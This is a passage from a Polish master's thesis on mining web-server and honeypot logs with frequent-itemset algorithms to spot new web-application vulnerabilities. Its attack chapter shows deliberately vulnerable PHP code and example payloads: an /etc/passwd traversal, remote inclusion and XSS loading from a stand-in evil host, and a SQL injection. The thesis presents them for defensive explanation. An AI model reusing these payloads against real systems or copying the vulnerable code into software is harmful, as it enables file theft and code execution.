Rozwazmy przykładowa zbiór danych przedstawiony w tabeli 2.4. Zdefiniujmypoziom minimalnego wsparcia równy 0,5. Pierwsza iteracja algorytmu polega naznalezieniu w bazie danych wszystkich jednoelementowych zbiorów kandydujacych

Page 14: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.5. Algorytmy wykrywania zbiorów czestych 9

Identyfikatortransakcji Zakupione produkty

1 1 3 42 2 3 53 1 2 3 54 2 5

Tabela 2.4: Przykładowy zbiór danych dla algorytmu Apriori

C1, a nastepnie usuniecie tych, które nie spełniaja warunku minimalnego wsparcia.W ten sposób otrzymujemy zbiór L1 przedstawiony na rysunku 2.2a. Kolejnekroki algorytmu polegaja na generowaniu zbiorów kandydujacych Ck, a nastepniena usuwaniu z nich zbiorów nie bedacych czestymi, czego rezultatem jest zbiórLk. Algorytm konczy działanie po trzecim kroku, gdy nie mozna wygenerowac juzzadnego innego zbioru kandydujacego.

2.5.2. MAFIA

Algorytm MAFIA1 [5] słuzy do znajdowania maksymalnych zbiorów czestych.Autorzy algorytmu sprowadzili problem znalezienia maksymalnych zbiorów cze-stych do wyznaczenia w drzewie wygenerowanych zbiorów, odciecia oznaczonegona rysunku 2.3 przerywana linia. Zbiory znajdujace sie bezposrednio nad odcie-ciem sa zbiorami czestymi i nazywamy je granica pozytywna. Zbiory znajdujacesie bezposrednio ponizej odciecia sa zbiorami rzadkimi i wchodza w skład granicynegatywnej. Te zbiory wchodzace w skład granicy pozytywnej, które w niej nieposiadaja swojego nadzbioru sa maksymalnymi zbiorami czestymi.

Ogólna zasada działania tego algorytmu jest bardzo podobna do algorytmuApriori. Róznica polega na tym, ze w trakcie generowania drzewa ze zbioramikandydujacymi wykorzystywane sa własciwosci zbiorów czestych, które pozwalajana odrzucenie zbiorów bez wyliczania ich wsparcia. Wyróznia sie trzy typy operacjiprzycinajacych przetwarzana dziedzine, które przedstawiłem ponizej.

{}

{1}

{1,2}

{1,2,3}

{1,2,3,4}

{1,2,3,4,5}

{1,2,3,5}

{1,2,4}

{1,2,3,5}

{1,2,5}

{1,3}

{1,3,4}

{1,3,4,5}

{1,3,5}

{1,4}

{1,4,5}

{1,5}

{2}

{2,3}

{2,3,4}

{2,3,4,5}

{2,3,5}

{2,4}

{2,4,5}

{2,5}

{3}

{3,4}

{3,4,5}

{3,5}

{4}

{4,5}

{5}

Rysunek 2.3: Drzewo zbiorów kandydujacych z zaznaczonym odcieciem dla algo-rytmu MAFIA

1 MAFIA jest skrótem od MAximal Frequent Itemset Algorithm

Page 15: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

2.5. Algorytmy wykrywania zbiorów czestych 10

W algorytmie MAFIA posługujemy sie pojeciem głowy i ogona, gdzie głowa nazy-wamy aktualnie rozpatrywany zbiór, natomiast ogonem zbiór mozliwych rozszerzengłowy. Przycinanie PEP (ang. parent equivalent pruning) polega na porównywaniuwsparcia głowy z wsparciem jej pierwszego rozszerzenia. Jesli okazuje sie, ze tewartosci sa jednakowe, to głowe mozna zastapic badanym rozszerzeniem. Wynikato z faktu, ze transakcje wspierajace głowe i rozszerzenie to te same transakcje.Poniewaz interesuja nas jedynie maksymalne zbiory czeste, to nie ma potrzebyanalizowania zbioru, o którym wiadomo, ze nie jest maksymalny. Dla przykładu,niech głowa bedzie zbiór {1}, a ogonem zbiory {1,2}, {1,3}, {1,4}. Jesli głowa jestzbiorem czestym i ma takie samo wsparcie co rozszerzajacy zbiór {1,2}, to zbiórrozszerzajacy zastepuje głowe. Dzieki temu nie trzeba wyliczac wsparcia pozosta-łych zbiorów wchodzacych w skład ogona.

Podczas przycinania FHUT (ang. frequent head union tail) badane jest czy zbiórzłozony z głowy i wszystkich rozszerzen jest czesty. Jesli tak, to zbiór ten jestzbiorem maksymalnym i nie ma potrzeby badania zadnego rozszerzenia głowy.Przykładowo jesli zbiory {1,2}, {1,3}, {1,4} tworza ogon i zbiór {1,2,3,4} powstałyze złozenia ogona jest czesty to dalsze przetwarzanie ogona moze zostac pominiete.

Przycinanie HUTMFI (ang. head union tail maximal frequent itemset) jest bardzopodobne do FHUT z ta róznica, ze w FHUT wsparcie jest obliczane bezposredniopoprzez zliczanie transakcji wspierajacych, natomiast w metodzie HUTMFI wsparciejest okreslane poprzez wystapienie zbioru na liscie znalezionych juz maksymalnychzbiorów czestych. Jesli na liscie istnieje nadzbiór, to znaczy, ze badany zbiór jestczesty, a jego dalsze przetwarzanie nie jest potrzebne.

Page 16: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

3. Bezpieczenstwo aplikacji WWW

W niniejszym rozdziale znajduje sie opis rodzajów podatnosci aplikacji WWWomawianych w dalszej czesci pracy. Jest to zbiór typów skanowan i ataków wy-krytych przeze mnie w trakcie prowadzenia eksperymentów. Pełna liste aplikacji,na które nastepowały próby ataku wraz z typem wykorzystywanej podatnosci orazodnosnikiem do szerszego opisu, przedstawiłem w dodatku A.

3.1. Nieautoryzowany dostep do plików systemowych

Nieautoryzowany dostep do plików systemowych (ang. directory traver-sal) [19] [20] to atak wykorzystujacy luke spowodowana niedostateczna walidacjadanych wejsciowych, pochodzacych od uzytkownika aplikacji, które nastepnie sawykorzystywane do okreslenia pliku wczytywanego przez aplikacje. Atak polegana takim spreparowaniu parametru wejsciowego, aby został on potraktowany jakosciezka do konkretnego pliku. Dla przykładu wydruk 3.1 przedstawia fragmentkodu aplikacji podatnej na ten rodzaj ataku.

1 <?phpfunction getModule ($sModuleName){

require_once ( ’ ./ ’ .$sModuleName ) ;5 $module = new $sModuleName;

return $module ;}

getModule ($_GET[ ’module ’ ] ) ;10 ?>

Wydruk 3.1: Kod podatny na atak typu directory traversal

Atakujacy moze wczytac dowolny plik, do którego prawo odczytu posiada serwer,np. plik /etc/passwd moze zostac odczytany poprzez wysłanie nastepujacego za-dania1:

script.php?module=../../../../etc/passwd

Atak ten jest bardzo podobny do ataku typu local file inclusion. Róznica polegana tym, ze w przypadku local file inclusion wczytywany plik jest wykonywany,a w przypadku directory traversal jedynie odczytywany i prezentowany uzytkow-nikowi. Ze wzgledu na fakt, ze w duzej liczbie przypadków atakujacy wykorzystujepodatnosc typu local file inclusion do odczytu plików, to w dalszej czesci pracy bedesie posługiwał jedynie terminem directory traversal majac na mysli jeden z tychrodzajów podatnosci.

1 Zadanie HTTP składa sie co najmniej z jeden linii zawierajacej trzy elementy: metode, URI,wersje. Dla uproszczenia w dalszej czesci pracy zadaniem bede nazywał sam element URI z domyslnametoda GET. Wersja protokołu nie jest istotna.

Page 17: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

3.2. Wykonanie zdalnego kodu 12

3.2. Wykonanie zdalnego kodu

Podobnie jak w przypadku ataku typu directory traversal wykonanie zdalnegokodu (ang. remote code execution) [12] mozliwe jest dzieki niedostatecznej walidacjiparametrów wejsciowych. Kod moze byc przekazany bezposrednio w parametrachzadania, np:

script.php?p=phpinfo();

Powyzsze zadanie w przypadku kodu przedstawionego na wydruku 3.2 spowodujewykonanie kodu PHP przekazanego jako parametr p.

1 <?phpeval ($_GET[ ’p ’ ] ) ;?>

Wydruk 3.2: Kod podatny na atak typu remote code execution

Druga mozliwosc wykonania zdalnego kodu nastepuje poprzez załaczenie i wy-konanie skryptu ze zdalnej lokalizacji. Podatnosc taka nazywamy remote file inclu-sion. Dla przykładu na wydruku 3.3 przedstawiłem podatny kod. Ponizsze zadaniespowoduje wczytanie i uruchomienie skryptu przekazanego przez atakujacego:

script.php?module=http://example.com/evil

Poniewaz remote code execution jest pojeciem szerszym niz remote file inclusion,to w dalszej czesci pracy bede sie posługiwał jedynie pierwszym z terminów.

1 <?phpfunction getModule ($sModuleName){

require_once ($sModuleName. ’ .php ’ ) ;5 $module = new $sModuleName;

return $module ;}

getModule ($_GET[ ’module ’ ] ) ;10 ?>

Wydruk 3.3: Kod podatny na atak typu remote file inclusion

3.3. Ujawnienie sciezki dostepu

Ujawnienie sciezki dostepu (ang. full path disclosure) to podatnosc polegajacana ujawnieniu atakujacemu pełnej sciezki do wadliwego skryptu. Luka ta bezpo-srednio nie jest grozna, jednak moze byc wykorzystana do przeprowadzenia atakówinnego typu, w których potrzebna jest znajomosc pełnej sciezki, np. gdy odwołaniesie do pliku po sciezce bezwzglednej nie jest mozliwe.

Przykład skryptu z luka full path disclosure oraz local file inclusion znajdujesie na wydruku 3.1. Wysłanie zadania script.php?module=./test spowodujepojawienie sie komunikatu o błedzie, np. o nastepujacej tresci:

Warning: require_once(./test): failed to open stream: No such file or directoryin /var/www/testapp/script.php on line 4

Page 18: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

3.4. Cross-site scripting 13

Komunikat ten jednoznacznie wskazuje atakujacemu w jakim katalogu znaj-duje sie skrypt, co moze wykorzystac do własciwego ataku. Wysyłajac zadaniescript.php?module=../../../etc/passwd spowoduje wyswietlenie zawartoscipliku passwd.

3.4. Cross-site scripting

Cross-site scripting to atak polegajacy na umieszczeniu w tresci atakowanejstrony WWW nieautoryzowanego kodu, który po stronie uzytkownika moze spowo-dowac wykonanie niepozadanych akcji. Podobnie jak w poprzednich przypadkachatak jest mozliwy dzieki błedowi kodu aplikacji, który polega na niepełnej lub nie-poprawnej walidacji danych pochodzacych od uzytkownika. Róznica jednak jest to,ze atakowana strona jest uzytkownik, a nie serwer, na którym zainstalowana jestaplikacja. Przykład podatnego kodu przedstawiłem na wydruku 3.4.

1 <?phpfunction showText ( $text ){

echo $text ;5 }

getModule ($_GET[ ’ text ’ ] ) ;?>

Wydruk 3.4: Kod podatny na atak typu cross-site scripting

Aby wykorzystac powyzsza podatnosc wystarczy, ze atakujacy nakłoni uzytkownika(np. poprzez klikniecie w odnosnik) do przesłania zadania, które powoduje wyko-nanie po stronie przegladarki kodu JavaScript serwowanego przez atakujacego.Przykładowe zadanie moze wygladac nastepujaco:

script.php?text=<scriptsrc="http://example.com/evil.js"type="text/javascript"></script>

3.5. Wstrzykniecie kodu SQL

Wstrzykniecie kodu SQL (ang. SQL Injection) jest mozliwe w przypadku, gdyaplikacja nie sprawdza dostatecznie poprawnosci danych pochodzacych od uzyt-kownika. Sam atak polega na zmodyfikowaniu dynamicznie generowanego zapyta-nia SQL, poprzez przekazanie odpowiednio zmanipulowanych parametrów wejscio-wych, np.

SELECT ∗ FROM users WHERE username = ’$ {_GET[ " user " ] } ’

Podatnosc moze zostac wykorzystana poprzez nastepujace zadanie:

/?user=x’ OR ’1’=’1

Spowoduje to modyfikacje zapytania w taki sposób, ze zwrócona zostanie cała ta-bela uzytkownicy zamiast pojedynczego wiersza. Zapytanie przyjmie wtedy naste-pujaca postac:

SELECT ∗ FROM users WHERE username = ’x ’ OR ’1 ’= ’1 ’

Page 19: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

3.6. Skanowania w poszukiwaniu konkretnych aplikacji 14

3.6. Skanowania w poszukiwaniu konkretnych aplikacji

Skanowanie ma za zadanie wykrycie obecnosci na serwerze konkretnej aplikacji.Umozliwia to pózniejsze przeprowadzenie np. ataku siłowego (ang. brute force2),znalezienie nieusunietych skryptów instalacyjnych lub przeprowadzenie innychrodzajów ataków. Za przykład moze posłuzyc nastepujace zadanie:

/phpmyadmin/scripts/setup.php

Ma ono za zadanie sprawdzenie, czy skrypty instalacyjne aplikacji PhpMyAdminzostały usuniete. Ich obecnosc stwarza atakujacemu okazje do uzyskania dostepudo bazy danych. Ta luka bezpieczenstwa powstaje z winy administratora serwera,który nieodpowiednio skonfigurował dana aplikacje.

3.7. Skanowania w poszukiwaniu niezabezpieczonego serweraposredniczacego

Serwery posredniczace (ang. proxy) sa aplikacjami, przez które klient3 odwołujesie do interesujacego go zasobu sieciowego. Klient wysyła zadanie pobrania zasobudo serwera proxy, który nastepnie przekazuje je do własciwego serwera. Proxymoze byc wykorzystane np. w celu ukrycia adresu IP maszyny, z której oryginalniepochodzi zadanie.

Skanowania maja na celu wykrycie niezabezpieczonego proxy. W tym celuskanowany serwer odpytywany jest o pewien zasób istniejacy w sieci Internet. Dlaprzykładu wysłane zostaje zadanie:

google.com

Jesli odpytywany serwer zwróci zadany zasób, to oznacza to, ze zadanie zostałoprzekazane, a odpytywany serwer jest serwer posredniczacym.

2 Atak majacy na celu uzyskanie dostepu do aplikacji poprzez próbe zgadniecia danych autory-zacyjnych uzytkownika.

3 W kontekscie aplikacji WWW klientem moze byc np. przegladarka internetowa.

Page 20: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

4. Wykorzystywane zbiory danych

W ramach pracowni magisterskiej wykorzystywałem trzy typy zbiorów danych.Pierwszym z nich były logi programu tcpdump, którego jedna z jego głównychfunkcjonalnosci jest przechwytywanie ruchu sieciowego i jego zapis do pliku [28].Program ten był uruchomiony na systemie honeypot. Drugi i trzeci typ danych tologi pochodzace z serwera HTTP, z tym ze drugi typ to logi zadan HTTP poprawnieobsłuzonych, natomiast typ trzeci to logi błedów.

4.1. Logi systemu honeypot

Wykorzystywane przeze mnie logi systemu honeypot zapisane zostały w formaciepcap. Uzywany jest on do zapisu pakietów sieciowych [21] i stosowany jest przezwiele programów do rejestracji ruchu sieciowego, w tym przez program tcpdump.

Podstawowa jednostka danych w binarnych plikach pcap jest pakiet sieciowy.Pakiet zawiera pełna informacje ze wszystkich protokołów uzytych do jego trans-portu, np. przykładowy pakiet moze zawierac dane protokołów: Ethernet, IP, TCP,HTTP.

W moim przypadku uzywany zbiór danych pochodził z honeypotów z zainstalo-wanymi systemami Nepenthes [24] oraz Dionaena [15]. Honeypoty ukierunkowanebyły na pozyskiwanie danych na temat robotów skanujacych siec w poszukiwaniusłabo zabezpieczonych usług HTTP lub samych serwerów.

4.2. Logi serwera HTTP

Pozostałe dwa rodzaje zbiorów danych zawieraja zapis ruchu pochodzacy z ser-wera HTTP i reprezentuja rzeczywista aktywnosc w wybranej podsieci InstytutuInformatyki Politechniki Warszawskiej. W przeciwienstwie do logów z systemu Ho-neypot, logi takie zawierały równiez zapisy aktywnosci uzytkowników, które niebyły działaniami złosliwego oprogramowania.

Kolejna róznica pomiedzy plikami pcap a logami serwera HTTP jest sposób repre-zentacji danych. W przypadku logów serwera HTTP mamy do czynienia z plikamitekstowymi, w których podstawowa jednostka jest zadanie HTTP, a log zawieratylko i wyłacznie dane dotyczace protokołu HTTP. Poziom szczegółowosci zalezy odindywidualnych ustawien serwera HTTP. Format plików logów, których uzywałemw mojej pracy przedstawiłem w dalszej czesci rozdziału.

Page 21: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

4.3. Reprezentacja danych na potrzeby eksperymentów 16

4.2.1. Logi dostepu

Kazda linia pliku logu dostepu (zadan prawidłowo obsłuzonych), to pojedynczezadanie HTTP, które zawiera nastepujace informacje:

— zródłowy adres IP,— czas otrzymania zadania,— zadanie HTTP (metoda, URL1 oraz wersja protokołu),— kod odpowiedzi,— wartosc przesłana w nagłówku User-Agent.

Przykładowa linia logu to:

207.46.199.203 - - [09/Dec/2011:09:18:05 +0100] "GET/robots.txt HTTP/1.1"200 304 -Mozilla/5.0 (compatible;bingbot/2.0; +http://www.bing.com/bingbot.htm)"

4.2.2. Logi błedów

Logi błedów zawieraja informacje na temat zadan, których serwer HTTP niepotrafił poprawnie obsłuzyc, np. z powodu otrzymania zadania do nieistniejacegozasobu. Podobnie jak w przypadku logów dostepu, tak i te logi w jednej liniizawieraja dane dotyczace pojedynczego zadania:

— zródłowy adres IP,— czas otrzymania zadania,— opis błedu.

Przykładowa linie logu przedstawiłem ponizej:

[Tue May 18 18:49:56 2010] [error] [client 89.77.181.103] Filedoes not exist: /home/staff/mkr/public_html/public_html

4.3. Reprezentacja danych na potrzeby eksperymentów

Dane przedstawione w poprzednich punktach zostały przekształcone do wspól-nej postaci, z której nastepnie korzystaja algorytmy eksploracji danych. Poniewazopis systemu zaimplementowanego w ramach pracy szczegółowo przedstawiłemw rozdziale 5, to ponizej zaprezentowałem opis jedynie tego fragmentu modelu bazydanych, który zawiera dane wczytane z plików logów.

4.3.1. Model danych

W ramach pracowni zajmowałem sie badaniem podatnosci aplikacji WWW, dla-tego z logów wyselekcjonowałem nastepujace dane:

— czas zadania,— zródłowy adres IP,— port docelowy,— metoda HTTP,— adres URL,

1 URL (ang. Uniform Resource Locator) jest standardem stosowanym w Internecie do adresowaniazasobów.

Page 22: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

4.3. Reprezentacja danych na potrzeby eksperymentów 17

— pole User-Agent nagłówka HTTP.

Czas zadania jest wykorzystywany przez algorytmy eksploracji danych,np. na jego podstawie okreslana jest przynaleznosc zadan do poszczególnych trans-akcji oraz do poszczególnych okien czasowych. Zagadnienia te, dokładniej opisałemw dalszej czesci pracy.

Zródłowy adres IP moze dostarczac potencjalnych informacji o maszynach, naktórych działa złosliwe oprogramowanie. Port docelowy oraz metoda HTTP mozedostarczyc wiecej informacji na temat potencjalnie wykrytej luki. Nalezy równiezmiec na uwadze, ze usługi działajace poprzez protokół HTTP niekoniecznie muszabyc uruchomione na standardowym porcie 80.

Adres URL dostarcza podstawowych danych na temat zadania. Głównie dziekiniemu mozna okreslic cel wysłania zadania tj. aplikacje, na która dany atak jestukierunkowany. Dodatkowo pole User-Agent i zródłowy adres IP sa niezwykleuzyteczne w kroku czyszczenia danych, opisanym w nastepnej sekcji.

Oprócz podanych powyzej danych, do bazy danych dodałem dodatkowa ko-lumne pełniaca role identyfikatora transakcji. Parametr ten okresla, które zadaniazostały wysłane do serwera podczas jednej sesji. Poprzez sesje rozumiem wysłanieprzez robota serii zadan do serwera HTTP. Tak wiec wspólny identyfikator trans-akcji otrzymaja zadania pochodzace z jednego zródła oraz wykonane w podobnejchwili czasowej.

Identyfikatorzadania Czas Zródłowy

adres IP1 1 x.x.x.x2 3 y.y.y.y3 7 x.x.x.x4 9 z.z.z.z5 10 x.x.x.x6 11 x.x.x.x7 17 x.x.x.x

Tabela 4.1: Przykładowa seria zadan

Na potrzeby badan przyjałem, ze zadania przynaleza do tej samej serii jesli róz-nica pomiedzy czasem wysłania dwóch kolejnych zadan pochodzacych z jednegozródła jest nie wieksza od parametru czasowego. Wartosc tego parametru ustali-łem na 600 sekund. Dla przykładu w tabeli 4.1 przedstawiłem serie zadan zare-jestrowana przez serwer. Jesli przyjmiemy, ze wartosc parametru czasowego be-dzie równa cztery jednostki, to wspólny identyfikator transakcji otrzymaja zadaniaz identyfikatorami 3, 5, 6. Reszta zadan otrzyma oddzielne identyfikatory transak-cji. Uzupełniane sa one w trakcie procesu wczytywania zadan do bazy danych.

Sposród wybranych przeze mnie danych brakuje takich pól jak: adres docelowyIP, port zródłowy oraz nagłówki HTTP. Docelowy adres IP jest znany, bo jest topo prostu adres maszyny, na której prowadzony jest nasłuch. Port zródłowy oraznagłówki postanowiłem pominac w mojej analizie, poniewaz dane te wystepowałytylko w plikach pcap.

Na potrzeby samej analizy, osobne przetwarzanie zastosowane jest na ad-resie URL, który jest dzielony na mniejsze elementy. Podział ten nastepujew miejscu wystapienia znaków „/” oraz „-”. Dla przykładu nastepujacy adres

Page 23: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

4.3. Reprezentacja danych na potrzeby eksperymentów 18

Liczba wystapien Wartosc atrybutu From553283 (brak wartosci)2960 googlebot(at)googlebot.com200 msnbotf(at)microsoft.com184 bingbot(at)microsoft.com55 [email protected] msnbot(at)microsoft.com4 [email protected]

Tabela 4.2: Wartosci parametru From

URL: /phpMyAdmin-2.8.1/scripts/setup.php zostanie podzielony na elementy:phpMyAdmin, 2.8.1, scripts, setup.php.

Podział ten został wprowadzony, poniewaz roboty, które skanuja dana maszynew poszukiwaniu usługi podatnej na atak, wysyłaja serie zadan o bardzo podobnychadresach URL, np. robot poszukujacy skryptu instalacyjnego aplikacji mozewysłac serie zadan o nastepujacych URL:

/phpMyAdmin-2.8.2/scripts/setup.php/phpMyAdmin-2.8.1/scripts/setup.php/phpMyAdmin-2.8.1-rc1/scripts/setup.php/phpMyAdmin-2.8.0.4/scripts/setup.php/phpMyAdmin-2.8.0.3/scripts/setup.php/phpMyAdmin-2.8.0.2/scripts/setup.php/phpMyAdmin-2.8.0.1/scripts/setup.php

Podzielenie URL na fragmenty, które sa kolejnymi elementami sciezki adresu (po-dział po znaku „/”) oraz podział na fragmenty mogace okreslac wersje aplikacji(podział po znaku „-”) ma na celu ułatwienie algorytmom eksploracji danych znaj-dowanie podobienstw pomiedzy poszczególnymi zadaniami.

4.3.2. Czyszczenie danych

Wsród zadan HTTP znajdujacych sie w logach sa i takie, o których wiadomo,ze nie przydadza sie w dalszym procesie odkrywania wiedzy, a nawet moga prze-szkadzac. Takimi danymi sa np. zadania robotów przegladarek internetowychtakich jak GoogleBot. Zadania takich robotów pojawiaja sie w logach dosyc czesto,a poniewaz jednym z parametrów uzywanych przeze mnie algorytmów eksploracjidanych jest wsparcie, dlatego ich wpływ na rezultaty jest znaczacy.

Samo odfiltrowanie z bazy danych tego typu zadan jest stosunkowo pro-ste. Posiłkowac sie mozna tutaj zarówno informacjami przesyłanymi w nagłówkuUser-Agent, jak i adresami zródłowymi. Ja jednak wybrałem sposób polegajacy nausunieciu wszystkich zadan o plik robots.txt. Przykładowe zapytanie SQL zwraca-jace wiersze do odfiltrowania moze wygladac nastepujaco:

SELECT ∗ FROM imported\_data WHERE URL not like ’\%robots . txt ’

Do wykrywania szumu w danych mozna zastosowac, np. proste zliczenie da-nych wzgledem wybranych, reprezentatywnych atrybutów. W moim przypadku ta-kimi atrybutami były: element adresu URL, zródłowy adres IP, a takze nagłówkiUser-Agent oraz From. Uwage zwracaja te zadania, których zliczone atrybuty wy-stepuja najczesciej, oraz te, o których na podstawie wiedzy eksperckiej wiadomo,

Page 24: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

4.3. Reprezentacja danych na potrzeby eksperymentów 19

ze nie wniosa do badan wartosci dodanej. W przypadku wykorzystywanych przezemnie danych po zliczeniu wystapien wartosci atrybutu From otrzymałem wynikiprzedstawione w tabeli 4.2. Na ich podstawie mozna okreslic te wartosci atrybutów,które potencjalnie identyfikuja roboty przegladarek internetowych.

Szum równiez mozna wykryc poprzez uruchomienie algorytmu eksploracji da-nych. Pierwsze uruchomienia moga słuzyc do dostrojenia parametrów algorytmuoraz do zidentyfikowania danych nic nie wnoszacych do analizy.

Page 25: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5. Projekt i implementacja systemu

Ponizszy rozdział zawiera opis projektu systemu oraz szczegóły dotyczace jegoimplementacji. System został stworzony na potrzeby eksperymentów z zastosowa-niem algorytmu wzorców wyskakujacych ze wzgledu na brak odpowiednich aplika-cji podobnego typu. Projekt systemu składa sie z:

— wymagan stawianych systemowi,— aktorów oraz przypadków uzycia zidentyfikowanych na podstawie wymagan,— architektury rozwiazania.

Wymagania systemowe sa bardzo rozbudowane, poniewaz powstawały na baziemoich doswiadczen zebranych w trakcie przeprowadzania eksperymentów i pracyz prostymi skryptami utworzonymi podczas nich. Czesc z tych funkcjonalnosciwybiega daleko poza tematyke tej pracy i nie została zaimplementowana w pod-stawowej wersji systemu, powstałej w ramach pracy. Niemniej jednak funkcjonal-nosci te umiesciłem w specyfikacji wymagan do systemu, aby nakreslic mozliwekierunki dalszego rozwoju zarówno samego systemu jak i omawianego w tej pracytematu wykrywania nowych podatnosci. W celu ich rozróznienia, oprócz atrybutuidentyfikatora wymagania, dodatkowo wprowadziłem atrybut okreslajacy priory-tet danego wymagania. Priorytety krytyczny i wysoki okreslaja wymagania, którebyły mi niezbedne do przeprowadzania eksperymentów i zostały zawarte w zaim-plementowanym systemie. Priorytet niski to wymagania, które moga zostac dodanew kolejnych, rozwojowych wersjach systemu.

Dalsze sekcje tego rozdziału przedstawiaja model aktorów, przypadki uzycia orazarchitekture systemu. Do identyfikacji aktorów i przypadków uzycia posłuzyłem siejedynie tymi wymaganiami, których priorytet okresliłem jako wysoki lub krytyczny.Podrozdział architektura zawiera podział systemu na moduły oraz wysokopozio-mowy opis ich funkcjonalnosci.

Sekcja 5.6 przedstawia opis szczegółów implementacji systemu. Składa sieon z opisu technologicznego, modelu danych oraz szczegółowego przedstawieniabudowy systemu.

5.1. Wymagania funkcjonalne

Przedstawione w tej sekcji wymagania definiuja jakie usługi ma udostepniacsystem uzytkownikom.

Mozliwosc wczytywania danych z logów

Identyfikator wymagania: WF-001Priorytet: krytyczny

Wymagane jest, aby system wczytywał dane zadan HTTP z plików logów. Systemmusi obsługiwac formaty plików przedstawionych w rozdziale 4. W szczególnosci

Page 26: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.1. Wymagania funkcjonalne 21

w pliku moga sie znajdowac dane dotyczace innych protokołów, które powinny zo-stac pominiete. Dane powinny byc wczytywane do bazy danych tak, aby istniałamozliwosc wykonywania na nich analiz. W bazie danych powinny byc przechowy-wane nastepujace atrybuty zadania HTTP:

— czas zarejestrowania zadania,— port docelowy,— zródłowy adres IP,— metoda HTTP,— URI zadania,— wartosc nagłówka User-Agent,— wartosc nagłówka From,— wartosc nagłówka Cookie,— identyfikator serii zadan.

W przypadku braku w pliku logu jednej z wartosci system powinien wstawic dobazy danych pusta wartosc.

System dla kazdego zadania powinien automatycznie wstawiac wartosc iden-tyfikatora serii zadan. Zadania naleza do jednej serii, gdy pochodza z jednego IPzródłowego oraz czas pomiedzy zarejestrowaniem pierwszego i ostatniego zadaniajest nie wiekszy niz przekazany parametr czasowy.

System powinien zapamietywac, które pliki juz wczytał do bazy danych. Plik,który został wczesniej wczytany nie powinien ponownie wczytac sie do bazy danych.Plik powinien byc rozpoznawany po jego tresci, a nie nazwie, np. wczytanie plikuA, pózniejsza zmiana jego nazwy na B, a nastepnie próba wczytania B do systemupowinna zakonczyc sie jego zignorowaniem.

Wykonanie analizy danych za pomoca algorytmu wzorców wyskakujacych

Identyfikator wymagania: WF-002Priorytet: krytyczny

System powinien umozliwiac wykonywanie analiz danych wczytywanych z logówza pomoca algorytmu wzorców wyskakujacych. Uzytkownik uruchamiajac analizepowinien miec mozliwosc definiowania nastepujacych parametrów:

— wartosc minimalnego wsparcia,— długosc okna czasowego,— data poczatku analizy,— data konca analizy.

Wartosc wsparcia powinna byc definiowana w procentach, natomiast wartoscokna czasowego w dniach. Daty poczatku oraz konca analizy powinny byc definio-wane z dokładnoscia co najmniej do pojedynczych dni.

System powinien przechowywac nastepujace szczegóły wykonywanych analiz:

— parametry wykonanej analizy,— liste wykrytych wzorców.

Kazdy wzorzec, oprócz powiazania z dana analiza, powinien równiez przechowywacinformacje, którego okna czasowego dotyczy.

W ramach analizy, system powinien pamietac wszystkie wykryte wzorce. Te,które sie powtarzaja nie powinny byc zapisywane do bazy danych. Dla przykładu

Page 27: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

5.1. Wymagania funkcjonalne 22

jesli wzorzec X w jednej analizie pojawia sie w kilku oknach czasowych, to do bazydanych powinien zostac wczytany tylko pierwszy z nich.

Algorytm wzorców wyskakujacych powinien byc zrealizowany w taki sposób, abywykorzystywał implementacje algorytmu wyszukiwania zbiorów czestych w postacizewnetrznego programu. Wymiana danych pomiedzy aplikacjami powinna naste-powac poprzez pliki. Format plików wejsciowych i wyjsciowych algorytmu wyszu-kiwania zbiorów czestych jest standardowy dla tego typu algorytmów [22].

Mozliwosc definiowania wsparcia w postaci ilosciowej

Identyfikator wymagania: WF-003Priorytet: niski

System powinien umozliwiac definiowanie wsparcia ilosciowo. Tak zdefiniowanawartosc wsparcia okresla liczbowo ile minimalnie elementów musi wystepowac, abyzbiór był czesty.

Mozliwosc definiowania sposobu traktowania powtarzajacych sie wzorców

Identyfikator wymagania: WF-004Priorytet: niski

System powinien umozliwiac definiowanie sposobu traktowania powtarzajacychsie wzorców. Domyslne zachowanie zdefiniowane w wymaganiu WF-002 powinnozostac rozszerzone o nastepujace opcje:

— sprawdzanie wystapienia wzorca w wykonanych juz analizach,— wyłaczenie sprawdzania poprzedniego wystapienia wzorca.

Pierwsza opcja implikuje, ze przed zapisaniem do bazy danych, dla kazdegowykrytego wzorca jest sprawdzane jego wystapienie w jakiejkolwiek wczesniejszejanalizie. Jesli wynik sprawdzenia jest pozytywny to taki wzorzec jest ignorowany.

